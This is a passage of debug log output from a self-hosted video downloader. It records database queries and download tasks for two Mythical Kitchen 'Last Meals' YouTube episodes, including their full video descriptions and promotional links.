Course\n15:53 13-Year Old's Fears\n16:51 Looking Back On Friday\n20:36 Embracing Friday\n23:16 Skrillex, Don't Be Justin Bieber\n23:51 3rd Course\n25:18 An Alternate Universe Where Friday Didn't Exist\n28:00 Disassociation\n32:17 The Spirituality of Hyperpop\n33:57 4th Course\n35:39 Finding Joy & Flow State\n39:32 What Do You Think Happens When You Die?\n40:51 Lightning Round\n43:22 Rebecca's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-C" <> ..., "duration" => 2652, "filename" => "/downloads/Last Meals/2025-01-14 Rebecca Black Eats Her Last Meal/Rebecca Black Eats Her Last Meal [LhiJP_dO0cs].mp4", "id" => "LhiJP_dO0cs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LhiJP_dO0cs", "playlist_index" => 50, "timestamp" => 1736852434, "title" => "Rebecca Black Eats Her Last Meal", "upload_date" => "20250114"} 20:48:10.527 [debug] QUERY OK source="sources" db=0.2ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:10.527 [debug] QUERY OK source="sources" db=0.0ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:10.527 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-14 11:00:34Z], 1] 20:48:10.529 [debug] QUERY OK source="media_items" db=0.9ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Rebecca Black eats her last meal.\n\n(This interview was recorded before the LA fires took place)\nDue to the circumstances, Rebecca’s project, SALVATION will be delayed. The new release date is February 27, 2025. But in the meantime you can still enjoy some SUGAR WATER CYANIDE— out now wherever you listen to music!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Rebecca Black's Last Meal\n1:12 Have You Thought About Your Last Meal Before?\n1:34 How Often Do You Think About Death?\n2:09 1st Course\n3:37 A Modern Day Forrest Gump\n5:36 TRUST!\n7:18 Support From The Queer Community\n9:38 Lady Gaga Gets It\n12:42 2nd Course\n15:53 13-Year Old's Fears\n16:51 Looking Back On Friday\n20:36 Embracing Friday\n23:16 Skrillex, Don't Be Justin Bieber\n23:51 3rd Course\n25:18 An Alternate Universe Where Friday Didn't Exist\n28:00 Disassociation\n32:17 The Spirituality of Hyperpop\n33:57 4th Course\n35:39 Finding Joy & Flow State\n39:32 What Do You Think Happens When You Die?\n40:51 Lightning Round\n43:22 Rebecca's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-C" <> ..., "Rebecca Black Eats Her Last Meal", "47df85bf-051c-4ed6-8317-f8a80f3e3982", "https://www.youtube.com/watch?v=LhiJP_dO0cs", false, "LhiJP_dO0cs", 2652, false, 50, "/downloads/Last Meals/2025-01-14 Rebecca Black Eats Her Last Meal/Rebecca Black Eats Her Last Meal [LhiJP_dO0cs].mp4", false, false, 1, [], 0, ~U[2025-01-14 11:00:34Z], ~U[2026-03-28 00:48:10Z], ~U[2026-03-28 00:48:10Z], "Today, Rebecca Black eats her last meal.\n\n(This interview was recorded before the LA fires took place)\nDue to the circumstances, Rebecca’s project, SALVATION will be delayed. The new release date is February 27, 2025. But in the meantime you can still enjoy some SUGAR WATER CYANIDE— out now wherever you listen to music!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Rebecca Black's Last Meal\n1:12 Have You Thought About Your Last Meal Before?\n1:34 How Often Do You Think About Death?\n2:09 1st Course\n3:37 A Modern Day Forrest Gump\n5:36 TRUST!\n7:18 Support From The Queer Community\n9:38 Lady Gaga Gets It\n12:42 2nd Course\n15:53 13-Year Old's Fears\n16:51 Looking Back On Friday\n20:36 Embracing Friday\n23:16 Skrillex, Don't Be Justin Bieber\n23:51 3rd Course\n25:18 An Alternate Universe Where Friday Didn't Exist\n28:00 Disassociation\n32:17 The Spirituality of Hyperpop\n33:57 4th Course\n35:39 Finding Joy & Flow State\n39:32 What Do You Think Happens When You Die?\n40:51 Lightning Round\n43:22 Rebecca's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste (truncated) 20:48:10.529 [debug] QUERY OK source="sources" db=0.0ms idle=444.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:10.529 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:10.529 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [50] 20:48:10.529 [info] Kicking off download for media item #50 (LhiJP_dO0cs) 20:48:10.530 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [53, 50, ~U[2026-03-28 00:48:10Z], ~U[2026-03-28 00:48:10Z]] 20:48:10.530 [debug] Current batch of media processed. Will check again in 1000ms 20:48:11.531 [debug] Current batch of media processed. Will check again in 1000ms 20:48:12.532 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today Hilary Duff eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Hilary's Last Meal\n0:20 Inventor of \"The Gross Food Game\"\n1:30 Have You Thought About Your Last Meal Before?\n2:17 1st Course\n3:20 Martini Horoscopes\n6:36 \"Grubby Kid From Texas\"\n9:05 What Is Your Relationship to Luck?\n10:45 Growing Up With Lizzie McGuire\n12:03 2nd Course\n12:30 Hilary's Ideal French Fry\n13:51 Making Music & Reading Comments\n17:19 A Deeply Personal (& Pop) Album\n19:32 Wanting Resolution In Relationships\n21:26 Sending Love to Your Younger Self\n23:05 3rd Course\n24:05 Chasing Paparazzi with a Wine Bottle\n27:28 The Lizzie McGuire Movie Boosted Rome Tourism\n31:45 Kids Working in the Industry\n34:40 The Forerunner of the Disney Channel Model\n37:07 4th Course\n39:11 Holding Family Close\n42:58 What Do You Think Happens When You Die?\n44:00 Lightning Round\n47:09 Hilary's Last Words\n47:28 THE GROSS FOOD GAME\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3002, "filename" => "/downloads/Last Meals/2026-03-17 Hilary Duff Eats Her Last Meal/Hilary Duff Eats Her Last Meal [KR_e1IY3S4k].mp4", "id" => "KR_e1IY3S4k", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KR_e1IY3S4k", "playlist_index" => 51, "timestamp" => 1773741634, "title" => "Hilary Duff Eats Her Last Meal", "upload_date" => "20260317"} 20:48:12.533 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=475.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:12.534 [debug] QUERY OK source="sources" db=0.2ms idle=476.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:12.534 [debug] QUERY OK source="media_items" db=0.4ms idle=476.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 10:00:34Z], 1] 20:48:12.537 [debug] QUERY OK source="media_items" db=1.6ms idle=477.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today Hilary Duff eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Hilary's Last Meal\n0:20 Inventor of \"The Gross Food Game\"\n1:30 Have You Thought About Your Last Meal Before?\n2:17 1st Course\n3:20 Martini Horoscopes\n6:36 \"Grubby Kid From Texas\"\n9:05 What Is Your Relationship to Luck?\n10:45 Growing Up With Lizzie McGuire\n12:03 2nd Course\n12:30 Hilary's Ideal French Fry\n13:51 Making Music & Reading Comments\n17:19 A Deeply Personal (& Pop) Album\n19:32 Wanting Resolution In Relationships\n21:26 Sending Love to Your Younger Self\n23:05 3rd Course\n24:05 Chasing Paparazzi with a Wine Bottle\n27:28 The Lizzie McGuire Movie Boosted Rome Tourism\n31:45 Kids Working in the Industry\n34:40 The Forerunner of the Disney Channel Model\n37:07 4th Course\n39:11 Holding Family Close\n42:58 What Do You Think Happens When You Die?\n44:00 Lightning Round\n47:09 Hilary's Last Words\n47:28 THE GROSS FOOD GAME\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Hilary Duff Eats Her Last Meal", "9ad4d6a2-a8d5-4d36-a8be-552c243b28f1", "https://www.youtube.com/watch?v=KR_e1IY3S4k", false, "KR_e1IY3S4k", 3002, false, 51, "/downloads/Last Meals/2026-03-17 Hilary Duff Eats Her Last Meal/Hilary Duff Eats Her Last Meal [KR_e1IY3S4k].mp4", false, false, 1, [], 0, ~U[2026-03-17 10:00:34Z], ~U[2026-03-28 00:48:12Z], ~U[2026-03-28 00:48:12Z], "Today Hilary Duff eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Hilary's Last Meal\n0:20 Inventor of \"The Gross Food Game\"\n1:30 Have You Thought About Your Last Meal Before?\n2:17 1st Course\n3:20 Martini Horoscopes\n6:36 \"Grubby Kid From Texas\"\n9:05 What Is Your Relationship to Luck?\n10:45 Growing Up With Lizzie McGuire\n12:03 2nd Course\n12:30 Hilary's Ideal French Fry\n13:51 Making Music & Reading Comments\n17:19 A Deeply Personal (& Pop) Album\n19:32 Wanting Resolution In Relationships\n21:26 Sending Love to Your Younger Self\n23:05 3rd Course\n24:05 Chasing Paparazzi with a Wine Bottle\n27:28 The Lizzie McGuire Movie Boosted Rome Tourism\n31:45 Kids Working in the Industry\n34:40 The Forerunner of the Disney Channel Model\n37:07 4th Course\n39:11 Holding Family Close\n42:58 What Do You Think Happens When You Die?\n44:00 Lightning Round\n47:09 Hilary's Last Words\n47:28 THE GROSS FOOD GAME\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Hilary Duff Eats Her Last Meal", "https://www.youtube.com/watch?v=KR_e1IY3S4k", "KR_e1IY3S4k", 3002, false, "/downloads/Last Meals/2026-03-17 Hilary Duff Eats Her Last Meal/Hilary Duff Eats Her Last Meal [KR_e1IY3S4k].mp4", false, 1, ~U[2026-03-17 10:00:34Z]] 20:48:12.537 [debug] QUERY OK source="sources" db=0.2ms idle=449.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:12.537 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:12.538 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 20:48:12.538 [info] Kicking off download for media item #51 (KR_e1IY3S4k) 20:48:12.540 [debug] QUERY OK source="tasks" db=0.1ms idle=2.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [54, 51, ~U[2026-03-28 00:48:12Z], ~U[2026-03-28 